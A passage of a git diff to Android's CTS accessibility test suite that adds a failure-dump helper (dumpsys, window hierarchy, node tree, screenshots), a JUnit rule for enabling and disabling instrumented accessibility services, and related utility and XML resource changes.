+ * <option name="directory-keys" value="/sdcard/<test.package.name>" />
+ * <option name="collect-on-run-ended-only" value="true" />
+ * </metrics_collector>
+ * </pre>
+ * <p>And disable external storage isolation:
+ * <pre>
+ * <application ... android:requestLegacyExternalStorage="true" ... >
+ * </pre>
+ */
+public class AccessibilityDumpOnFailureRule extends TestWatcher {
+
+ public void dump(int flag) {
+ AccessibilityDumper.getInstance().dump(flag);
+ }
+
+ @Override
+ protected void starting(Description description) {
+ AccessibilityDumper.getInstance().setName(getTestNameFrom(description));
+ }
+
+ @Override
+ protected void failed(Throwable t, Description description) {
+ AccessibilityDumper.getInstance().dump();
+ }
+
+ private String getTestNameFrom(Description description) {
+ return description.getTestClass().getSimpleName()
+ + "_" + description.getMethodName();
+ }
+}
diff --git a/tests/accessibility/common/src/android/accessibility/cts/common/AccessibilityDumper.java b/tests/accessibility/common/src/android/accessibility/cts/common/AccessibilityDumper.java
new file mode 100644
index 0000000..6fbd95a6
--- /dev/null
+++ b/tests/accessibility/common/src/android/accessibility/cts/common/AccessibilityDumper.java
@@ -0,0 +1,256 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.accessibility.cts.common;
+
+import static android.accessibilityservice.AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+import static android.app.UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.app.UiAutomation;
+import android.graphics.Bitmap;
+import android.graphics.Rect;
+import android.os.Environment;
+import android.support.test.uiautomator.Configurator;
+import android.support.test.uiautomator.UiDevice;
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityWindowInfo;
+
+import com.android.compatibility.common.util.BitmapUtils;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.time.LocalTime;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Helper class to dump data for accessibility test cases.
+ *
+ * It can dump {@code dumpsys accessibility}, accessibility node tree to logcat and/or
+ * screenshot for inspect later.
+ */
+public class AccessibilityDumper {
+ private static final String TAG = "AccessibilityDumper";
+
+ /** Dump flag to write the output of {@code dumpsys accessibility} to logcat. */
+ public static final int FLAG_DUMPSYS = 0x1;
+
+ /** Dump flag to write the output of {@code uiautomator dump} to logcat. */
+ public static final int FLAG_HIERARCHY = 0x2;
+
+ /** Dump flag to save the screenshot to external storage. */
+ public static final int FLAG_SCREENSHOT = 0x4;
+
+ /** Dump flag to write the tree of accessility node info to logcat. */
+ public static final int FLAG_NODETREE = 0x8;
+
+ /** Default dump flag */
+ public static final int FLAG_DUMP_ALL = FLAG_DUMPSYS | FLAG_HIERARCHY | FLAG_SCREENSHOT;
+
+ private static AccessibilityDumper sDumper;
+
+ private int mFlag;
+
+ /** Screenshot filename */
+ private String mName;
+
+ /** Root directory matching the directory-key of collector in AndroidTest.xml */
+ private File mRoot;
+
+ public static synchronized AccessibilityDumper getInstance() {
+ if (sDumper == null) {
+ sDumper = new AccessibilityDumper(FLAG_DUMP_ALL);
+ }
+ return sDumper;
+ }
+
+ /**
+ * Define the directory to dump/clean and initial dump options
+ *
+ * @param flag control what to dump
+ */
+ private AccessibilityDumper(int flag) {
+ mRoot = getDumpRoot(getContext().getPackageName());
+ mFlag = flag;
+ }
+
+ public void dump(int flag) {
+ final UiAutomation automation = getUiAutomation();
+
+ if ((flag & FLAG_DUMPSYS) != 0) {
+ dumpsysOnLogcat(automation);
+ }
+ if ((flag & FLAG_HIERARCHY) != 0) {
+ dumpHierarchyOnLogcat();
+ }
+ if ((flag & FLAG_SCREENSHOT) != 0) {
+ dumpScreen(automation);
+ }
+ if ((flag & FLAG_NODETREE) != 0) {
+ dumpAccessibilityNodeTreeOnLogcat(automation);
+ }
+ }
+
+ void dump() {
+ dump(mFlag);
+ }
+
+ void setName(String name) {
+ assertNotEmpty(name);
+ mName = name;
+ }
+
+ private File getDumpRoot(String directory) {
+ return new File(Environment.getExternalStorageDirectory(), directory);
+ }
+
+ private void dumpsysOnLogcat(UiAutomation automation) {
+ ShellCommandBuilder.create(automation)
+ .addCommandPrintOnLogCat("dumpsys accessibility")
+ .run();
+ }
+
+ private void dumpHierarchyOnLogcat() {
+ try(ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+ UiDevice.getInstance(getInstrumentation()).dumpWindowHierarchy(os);
+ Log.w(TAG, "Window hierarchy:");
+ for (String line : os.toString("UTF-8").split("\\n")) {
+ Log.w(TAG, line);
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "ERROR: unable to dumping hierarchy on logcat", e);
+ }
+ }
+
+ private void dumpScreen(UiAutomation automation) {
+ assertNotEmpty(mName);
+ final Bitmap screenshot = automation.takeScreenshot();
+ final String filename = String.format("%s_%s__screenshot.png", mName, LocalTime.now());
+ BitmapUtils.saveBitmap(screenshot, mRoot.toString(), filename);
+ }
+
+ /** Dump hierarchy compactly and include nodes not visible to user */
+ private void dumpAccessibilityNodeTreeOnLogcat(UiAutomation automation) {
+ final Set<AccessibilityNodeInfo> roots = new HashSet<>();
+ for (AccessibilityWindowInfo window : automation.getWindows()) {
+ AccessibilityNodeInfo root = window.getRoot();
+ if (root == null) {
+ Log.w(TAG, String.format("Skipping null root node for window: %s",
+ window.toString()));
+ } else {
+ roots.add(root);
+ }
+ }
+ if (roots.isEmpty()) {
+ Log.w(TAG, "No node of windows to dump");
+ } else {
+ Log.w(TAG, "Accessibility nodes hierarchy:");
+ for (AccessibilityNodeInfo root : roots) {
+ dumpTreeWithPrefix(root, "");
+ }
+ }
+ }
+
+ private static void dumpTreeWithPrefix(AccessibilityNodeInfo node, String prefix) {
+ final StringBuilder nodeText = new StringBuilder(prefix);
+ appendNodeText(nodeText, node);
+ Log.v(TAG, nodeText.toString());
+ final int count = node.getChildCount();
+ for (int i = 0; i < count; i++) {
+ AccessibilityNodeInfo child = node.getChild(i);
+ if (child != null) {
+ dumpTreeWithPrefix(child, "-" + prefix);
+ } else {
+ Log.i(TAG, String.format("%sNull child %d/%d", prefix, i, count));
+ }
+ }
+ }
+
+ private static void appendNodeText(StringBuilder out, AccessibilityNodeInfo node) {
+ final CharSequence txt = node.getText();
+ final CharSequence description = node.getContentDescription();
+ final String viewId = node.getViewIdResourceName();
+
+ if (!TextUtils.isEmpty(description)) {
+ out.append(escape(description));
+ } else if (!TextUtils.isEmpty(txt)) {
+ out.append('"').append(escape(txt)).append('"');
+ }
+ if (!TextUtils.isEmpty(viewId)) {
+ out.append("(").append(viewId).append(")");
+ }
+ out.append("+").append(node.getClassName());
+ out.append("+ \t<");
+ out.append(node.isCheckable() ? "C" : ".");
+ out.append(node.isChecked() ? "c" : ".");
+ out.append(node.isClickable() ? "K" : ".");
+ out.append(node.isEnabled() ? "E" : ".");
+ out.append(node.isFocusable() ? "F" : ".");
+ out.append(node.isFocused() ? "f" : ".");
+ out.append(node.isLongClickable() ? "L" : ".");
+ out.append(node.isPassword() ? "P" : ".");
+ out.append(node.isScrollable() ? "S" : ".");
+ out.append(node.isSelected() ? "s" : ".");
+ out.append(node.isVisibleToUser() ? "V" : ".");
+ out.append("> ");
+ final Rect bounds = new Rect();
+ node.getBoundsInScreen(bounds);
+ out.append(bounds.toShortString());
+ }
+
+ /**
+ * Produce a displayable string from a CharSequence
+ */
+ private static String escape(CharSequence s) {
+ final StringBuilder out = new StringBuilder();
+ for (int i = 0; i < s.length(); i++) {
+ char c = s.charAt(i);
+ if ((c < 127) || (c == 0xa0) || ((c >= 0x2000) && (c < 0x2070))) {
+ out.append(c);
+ } else {
+ out.append("\\u").append(Integer.toHexString(c));
+ }
+ }
+ return out.toString();
+ }
+
+ private void assertNotEmpty(String name) {
+ assertFalse("Expected non empty name.", TextUtils.isEmpty(name));
+ }
+
+ private UiAutomation getUiAutomation() {
+ // Reuse UiAutomation from UiAutomator with the same flag
+ Configurator.getInstance().setUiAutomationFlags(
+ FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+ final UiAutomation automation = getInstrumentation().getUiAutomation(
+ FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+ // Dump window info & node tree
+ final AccessibilityServiceInfo info = automation.getServiceInfo();
+ if (info != null && ((info.flags & FLAG_RETRIEVE_INTERACTIVE_WINDOWS) == 0)) {
+ info.flags |= FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+ automation.setServiceInfo(info);
+ }
+ return automation;
+ }
+}
diff --git a/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityService.java b/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityService.java
index 3f9a344..09af2ee 100644
--- a/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityService.java
+++ b/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityService.java
@@ -35,6 +35,7 @@
import android.view.accessibility.AccessibilityManager;
import androidx.annotation.CallSuper;
+import androidx.test.platform.app.InstrumentationRegistry;
import java.lang.ref.WeakReference;
import java.util.HashMap;
@@ -52,7 +53,7 @@
// Match com.android.server.accessibility.AccessibilityManagerService#COMPONENT_NAME_SEPARATOR
private static final String COMPONENT_NAME_SEPARATOR = ":";
- private static final int TIMEOUT_SERVICE_PERFORM_SYNC = DEBUG ? Integer.MAX_VALUE : 5000;
+ private static final int TIMEOUT_SERVICE_PERFORM_SYNC = DEBUG ? Integer.MAX_VALUE : 10000;
private static final HashMap<Class, WeakReference<InstrumentedAccessibilityService>>
sInstances = new HashMap<>();
@@ -119,13 +120,14 @@
public <T extends Object> T getOnService(Callable<T> callable) {
AtomicReference<T> returnValue = new AtomicReference<>(null);
AtomicReference<Throwable> throwable = new AtomicReference<>(null);
- runOnServiceSync(() -> {
- try {
- returnValue.set(callable.call());
- } catch (Throwable e) {
- throwable.set(e);
- }
- });
+ runOnServiceSync(
+ () -> {
+ try {
+ returnValue.set(callable.call());
+ } catch (Throwable e) {
+ throwable.set(e);
+ }
+ });
if (throwable.get() != null) {
throw new RuntimeException(throwable.get());
}
@@ -167,24 +169,27 @@
}
public static <T extends InstrumentedAccessibilityService> T enableService(
- Instrumentation instrumentation, Class<T> clazz) {
+ Class<T> clazz) {
+ final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
final String serviceName = clazz.getSimpleName();
final Context context = instrumentation.getContext();
- final String enabledServices = Settings.Secure.getString(
- context.getContentResolver(),
- Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
+ final String enabledServices =
+ Settings.Secure.getString(
+ context.getContentResolver(),
+ Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
if (enabledServices != null) {
assertFalse("Service is already enabled", enabledServices.contains(serviceName));
}
- final AccessibilityManager manager = (AccessibilityManager) context.getSystemService(
- Context.ACCESSIBILITY_SERVICE);
+ final AccessibilityManager manager =
+ (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE);
final List<AccessibilityServiceInfo> serviceInfos =
manager.getInstalledAccessibilityServiceList();
for (AccessibilityServiceInfo serviceInfo : serviceInfos) {
final String serviceId = serviceInfo.getId();
if (serviceId.endsWith(serviceName)) {
ShellCommandBuilder.create(instrumentation)
- .putSecureSetting(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
+ .putSecureSetting(
+ Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
enabledServices + COMPONENT_NAME_SEPARATOR + serviceId)
.putSecureSetting(Settings.Secure.ACCESSIBILITY_ENABLED, "1")
.run();
@@ -192,11 +197,15 @@
final T instance = getInstanceForClass(clazz, TIMEOUT_SERVICE_ENABLE);
if (instance == null) {
ShellCommandBuilder.create(instrumentation)
- .putSecureSetting(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
- enabledServices)
+ .putSecureSetting(
+ Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES, enabledServices)
.run();
- throw new RuntimeException("Starting accessibility service " + serviceName
- + " took longer than " + TIMEOUT_SERVICE_ENABLE + "ms");
+ throw new RuntimeException(
+ "Starting accessibility service "
+ + serviceName
+ + " took longer than "
+ + TIMEOUT_SERVICE_ENABLE
+ + "ms");
}
return instance;
}
@@ -204,19 +213,14 @@
throw new RuntimeException("Accessibility service " + serviceName + " not found");
}
- public static <T extends InstrumentedAccessibilityService> T getInstanceForClass(Class clazz,
- long timeoutMillis) {
+ public static <T extends InstrumentedAccessibilityService> T getInstanceForClass(
+ Class<T> clazz, long timeoutMillis) {
final long timeoutTimeMillis = SystemClock.uptimeMillis() + timeoutMillis;
while (SystemClock.uptimeMillis() < timeoutTimeMillis) {
synchronized (sInstances) {
- final WeakReference<InstrumentedAccessibilityService> ref = sInstances.get(clazz);
- if (ref != null) {
- final T instance = (T) ref.get();
- if (instance == null) {
- sInstances.remove(clazz);
- } else {
- return instance;
- }
+ final T instance = getInstanceForClass(clazz);
+ if (instance != null) {
+ return instance;
}
try {
sInstances.wait(timeoutTimeMillis - SystemClock.uptimeMillis());
@@ -228,19 +232,37 @@
return null;
}
- public static void disableAllServices(Instrumentation instrumentation) {
+ static <T extends InstrumentedAccessibilityService> T getInstanceForClass(
+ Class<T> clazz) {
+ synchronized (sInstances) {
+ final WeakReference<InstrumentedAccessibilityService> ref = sInstances.get(clazz);
+ if (ref != null) {
+ final T instance = (T) ref.get();
+ if (instance == null) {
+ sInstances.remove(clazz);
+ } else {
+ return instance;
+ }
+ }
+ }
+ return null;
+ }
+
+ public static void disableAllServices() {
+ final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
final Object waitLockForA11yOff = new Object();
final Context context = instrumentation.getContext();
final AccessibilityManager manager =
(AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE);
// Updates to manager.isEnabled() aren't synchronized
final AtomicBoolean accessibilityEnabled = new AtomicBoolean(manager.isEnabled());
- manager.addAccessibilityStateChangeListener(b -> {
- synchronized (waitLockForA11yOff) {
- waitLockForA11yOff.notifyAll();
- accessibilityEnabled.set(b);
- }
- });
+ manager.addAccessibilityStateChangeListener(
+ b -> {
+ synchronized (waitLockForA11yOff) {
+ waitLockForA11yOff.notifyAll();
+ accessibilityEnabled.set(b);
+ }
+ });
final UiAutomation uiAutomation = instrumentation.getUiAutomation(
UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
ShellCommandBuilder.create(uiAutomation)
diff --git a/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityServiceTestRule.java b/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityServiceTestRule.java
new file mode 100644
index 0000000..1684dbb
--- /dev/null
+++ b/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityServiceTestRule.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.accessibility.cts.common;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * A JUnit rule that provides a simplified mechanism to enable and disable {@link
+ * InstrumentedAccessibilityService} before and after the duration of your test. It will
+ * automatically be disabled after the test completes and any methods annotated with
+ * <a href="http://junit.sourceforge.net/javadoc/org/junit/After.html"><code>After</code></a>
+ * are finished.
+ *
+ * <p>Usage:
+ *
+ * <pre>
+ * @Rule
+ * public final InstrumentedAccessibilityServiceTestRule<InstrumentedAccessibilityService>
+ * mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ * InstrumentedAccessibilityService.class, false);
+ *
+ * @Test
+ * public void testWithEnabledAccessibilityService() {
+ * MyService service = mServiceRule.enableService();
+ * //do something
+ * assertTrue("True wasn't returned", service.doSomethingToReturnTrue());
+ * }
+ * </pre>
+ *
+ * @param <T> The instrumented accessibility service class under test
+ */
+public class InstrumentedAccessibilityServiceTestRule<T extends InstrumentedAccessibilityService>
+ implements TestRule {
+
+ private static final String TAG = "InstrA11yServiceTestRule";
+
+ private final Class<T> mAccessibilityServiceClass;
+
+ private final boolean mEnableService;
+
+ /**
+ * Creates a {@link InstrumentedAccessibilityServiceTestRule} with the specified class of
+ * instrumented accessibility service and enable the service automatically.
+ *
+ * @param clazz The instrumented accessibility service under test. This must be a class in the
+ * instrumentation targetPackage specified in the AndroidManifest.xml
+ */
+ public InstrumentedAccessibilityServiceTestRule(@NonNull Class<T> clazz) {
+ this(clazz, true);
+ }
+
+ /**
+ * Creates a {@link InstrumentedAccessibilityServiceTestRule} with the specified class of
+ * instrumented accessibility service, and enable the service automatically or not according to
+ * given {@code enableService}.
+ *
+ * @param clazz The instrumented accessibility service under test. This must be a class in the
+ * instrumentation targetPackage specified in the AndroidManifest.xml
+ * @param enableService true if the service should be enabled once per <a
+ * href="http://junit.org/javadoc/latest/org/junit/Test.html"><code>Test</code></a> method.
+ * It will be enabled before the first <a
+ * href="http://junit.sourceforge.net/javadoc/org/junit/Before.html"><code>Before</code></a>
+ * method, and terminated after the last <a
+ * href="http://junit.sourceforge.net/javadoc/org/junit/After.html"><code>After</code></a>
+ * method.
+ */
+ public InstrumentedAccessibilityServiceTestRule(@NonNull Class<T> clazz,
+ boolean enableService) {
+ mAccessibilityServiceClass = clazz;
+ mEnableService = enableService;
+ }
+
+ /**
+ * Enable the instrumented accessibility service under test.
+ *
+ * <p>Don't call this method directly, unless you explicitly requested not to lazily enable the
+ * service manually using the enableService flag in {@link
+ * #InstrumentedAccessibilityServiceTestRule(Class, boolean)}.
+ *
+ * <p>Usage:
+ *
+ * <pre>
+ * @Test
+ * public void enableAccessibilityService() {
+ * service = mServiceRule.enableService();
+ * }
+ * </pre>
+ *
+ * @return the instrumented accessibility service enabled by this rule.
+ */
+ @NonNull
+ public T enableService() {
+ return InstrumentedAccessibilityService.enableService(mAccessibilityServiceClass);
+ }
+
+ /**
+ * Override this method to do your own service specific clean up or shutdown.
+ * The method is called after each test method is executed including any method annotated with
+ * <a href="http://junit.sourceforge.net/javadoc/org/junit/After.html"><code>After</code></a>
+ * and after necessary calls to stop (or unbind) the service under test were called.
+ */
+ protected void disableService() {
+ callFinishOnServiceSync();
+ }
+
+ /**
+ * Returns the reference to the instrumented accessibility service instance.
+ *
+ * <p>If the service wasn't enabled yet or already disabled, {@code null} will be returned.
+ */
+ @Nullable
+ public T getService() {
+ final T instance = InstrumentedAccessibilityService.getInstanceForClass(
+ mAccessibilityServiceClass,
+ InstrumentedAccessibilityService.TIMEOUT_SERVICE_ENABLE);
+ if (instance == null) {
+ Log.i(TAG, String.format(
+ "Accessibility service %s wasn't enabled yet or already disabled",
+ mAccessibilityServiceClass.getSimpleName()));
+ }
+ return instance;
+ }
+
+ private void callFinishOnServiceSync() {
+ final T service = InstrumentedAccessibilityService.getInstanceForClass(
+ mAccessibilityServiceClass);
+ if (service != null) {
+ service.runOnServiceSync(service::disableSelfAndRemove);
+ }
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new ServiceStatement(base);
+ }
+
+ /**
+ * {@link Statement} that executes the service lifecycle methods before and after the execution
+ * of the test.
+ */
+ private class ServiceStatement extends Statement {
+ private final Statement base;
+
+ public ServiceStatement(Statement base) {
+ this.base = base;
+ }
+
+ @Override
+ public void evaluate() throws Throwable {
+ try {
+ if (mEnableService) {
+ enableService();
+ }
+ base.evaluate();
+ } finally {
+ disableService();
+ }
+ }
+ }
+}
diff --git a/tests/accessibility/common/src/android/accessibility/cts/common/ServiceControlUtils.java b/tests/accessibility/common/src/android/accessibility/cts/common/ServiceControlUtils.java
new file mode 100644
index 0000000..067e37b
--- /dev/null
+++ b/tests/accessibility/common/src/android/accessibility/cts/common/ServiceControlUtils.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibility.cts.common;
+
+import static com.android.compatibility.common.util.TestUtils.waitOn;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.provider.Settings;
+import android.view.accessibility.AccessibilityManager;
+
+import java.util.function.BooleanSupplier;
+
+/**
+ * Utility methods for enabling and disabling the services used in this package
+ */
+public class ServiceControlUtils {
+
+ public static String getEnabledServices(ContentResolver cr) {
+ return Settings.Secure.getString(cr, Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
+ }
+
+ /**
+ * Wait for a specified condition that will change with a services state change
+ *
+ * @param context A valid context
+ * @param condition The condition to check
+ * @param timeoutMs The timeout in millis
+ * @param conditionName The name to include in the assertion. If null, will be given a default.
+ */
+ public static void waitForConditionWithServiceStateChange(Context context,
+ BooleanSupplier condition, long timeoutMs, String conditionName) {
+ AccessibilityManager manager =
+ (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE);
+ Object lock = new Object();
+ AccessibilityManager.AccessibilityServicesStateChangeListener listener = (m) -> {
+ synchronized (lock) {
+ lock.notifyAll();
+ }
+ };
+ manager.addAccessibilityServicesStateChangeListener(listener, null);
+ try {
+ waitOn(lock, condition, timeoutMs, conditionName);
+ } finally {
+ manager.removeAccessibilityServicesStateChangeListener(listener);
+ }
+ }
+}
diff --git a/tests/accessibility/common/src/android/accessibility/cts/common/ShellCommandBuilder.java b/tests/accessibility/common/src/android/accessibility/cts/common/ShellCommandBuilder.java
index c305ceb..cfeb1fd 100644
--- a/tests/accessibility/common/src/android/accessibility/cts/common/ShellCommandBuilder.java
+++ b/tests/accessibility/common/src/android/accessibility/cts/common/ShellCommandBuilder.java
@@ -21,6 +21,8 @@
import android.os.ParcelFileDescriptor;
import android.util.Log;
+import com.android.compatibility.common.util.SystemUtil;
+
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
@@ -88,6 +90,25 @@
return this;
}
+ public ShellCommandBuilder addCommandPrintOnLogCat(String command) {
+ mCommands.add(() -> {
+ execShellCommandAndPrintOnLogcat(mUiAutomation, command);
+ });
+ return this;
+ }
+
+ public static void execShellCommandAndPrintOnLogcat(UiAutomation automation, String command) {
+ Log.i(LOG_TAG, "command [" + command + "]");
+ try {
+ final String output = SystemUtil.runShellCommand(automation, command);
+ for (String line : output.split("\\n", -1)) {
+ Log.i(LOG_TAG, line);
+ }
+ } catch (IOException e) {
+ throw new RuntimeException("Failed to exec shell command [" + command + "]", e);
+ }
+ }
+
public static void execShellCommand(UiAutomation automation, String command) {
Log.i(LOG_TAG, "command [" + command + "]");
try (ParcelFileDescriptor fd = automation.executeShellCommand(command)) {
diff --git a/tests/tests/provider/res/drawable/size_48x48.jpg b/tests/accessibility/res/drawable/size_48x48.jpg
similarity index 100%
copy from tests/tests/provider/res/drawable/size_48x48.jpg
copy to tests/accessibility/res/drawable/size_48x48.jpg
Binary files differ
diff --git a/tests/accessibility/res/layout/shortcut_target.xml b/tests/accessibility/res/layout/shortcut_target.xml
new file mode 100644
index 0000000..42d10a0
--- /dev/null
+++ b/tests/accessibility/res/layout/shortcut_target.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:gravity="center"
+ android:orientation="vertical">
+ <Button
+ android:id="@+id/targetActionBtn"
+ android:text="@string/shortcut_button_title"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"/>
+</LinearLayout>
diff --git a/tests/accessibility/res/values/strings.xml b/tests/accessibility/res/values/strings.xml
index 293d5b0..de1539a 100644
--- a/tests/accessibility/res/values/strings.xml
+++ b/tests/accessibility/res/values/strings.xml
@@ -26,10 +26,22 @@
<!-- String title for the vibrating accessibility service -->
<string name="title_speaking_and_vibrating_accessibility_service">Speaking and Vibrating Accessibility Service</string>
+ <!-- String title for the accessibility button service -->
+ <string name="title_accessibility_button_service">Accessibility Button Service</string>
+
<!-- Description of the speaking accessibility service -->
<string name="some_description">Some description</string>
+ <!-- Html description of the speaking accessibility service -->
+ <string name="some_html_description">Some html description</string>
+
<!-- Summary of the speaking accessibility service -->
<string name="some_summary">Some summary</string>
+ <!-- String title for the button of shortcut target activity -->
+ <string name="shortcut_button_title">Action</string>
+
+ <!-- String title for the shortcut target activity -->
+ <string name="shortcut_target_title">Shortcut Target</string>
+
</resources>
diff --git a/tests/accessibility/res/xml/accessibility_button_service.xml b/tests/accessibility/res/xml/accessibility_button_service.xml
new file mode 100644
index 0000000..d475266
--- /dev/null
+++ b/tests/accessibility/res/xml/accessibility_button_service.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/some_description"
+ android:accessibilityEventTypes="typeAllMask"
+ android:accessibilityFeedbackType="feedbackGeneric"
+ android:accessibilityFlags="flagRequestAccessibilityButton"
+ android:notificationTimeout="0" />
\ No newline at end of file
diff --git a/tests/accessibility/res/xml/shortcut_target_activity.xml b/tests/accessibility/res/xml/shortcut_target_activity.xml
new file mode 100644
index 0000000..b258d3f
--- /dev/null
+++ b/tests/accessibility/res/xml/shortcut_target_activity.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<accessibility-shortcut-target xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/some_description"
+ android:summary="@string/some_summary"
+/>
\ No newline at end of file
diff --git a/tests/accessibility/res/xml/speaking_accessibilityservice.xml b/tests/accessibility/res/xml/speaking_accessibilityservice.xml
index 249c381..ede686d 100644
--- a/tests/accessibility/res/xml/speaking_accessibilityservice.xml
+++ b/tests/accessibility/res/xml/speaking_accessibilityservice.xml
@@ -21,7 +21,9 @@
android:canRequestTouchExplorationMode="true"
android:canRequestFilterKeyEvents="true"
android:settingsActivity="foo.bar.Activity"
+ android:animatedImageDrawable="@drawable/size_48x48"
android:description="@string/some_description"
+ android:htmlDescription="@string/some_html_description"
android:summary="@string/some_summary"
android:nonInteractiveUiTimeout="1000"
android:interactiveUiTimeout="6000"/>
\ No newline at end of file
diff --git a/tests/accessibility/res/xml/speaking_and_vibrating_accessibilityservice.xml b/tests/accessibility/res/xml/speaking_and_vibrating_accessibilityservice.xml
index 4710754..3ac8661 100644
--- a/tests/accessibility/res/xml/speaking_and_vibrating_accessibilityservice.xml
+++ b/tests/accessibility/res/xml/speaking_and_vibrating_accessibilityservice.xml
@@ -22,5 +22,7 @@
android:canRequestFilterKeyEvents="true"
android:canRequestEnhancedWebAccessibility="true"
android:settingsActivity="foo.bar.Activity"
+ android:animatedImageDrawable="@drawable/size_48x48"
android:description="@string/some_description"
+ android:htmlDescription="@string/some_html_description"
android:summary="@string/some_summary" />
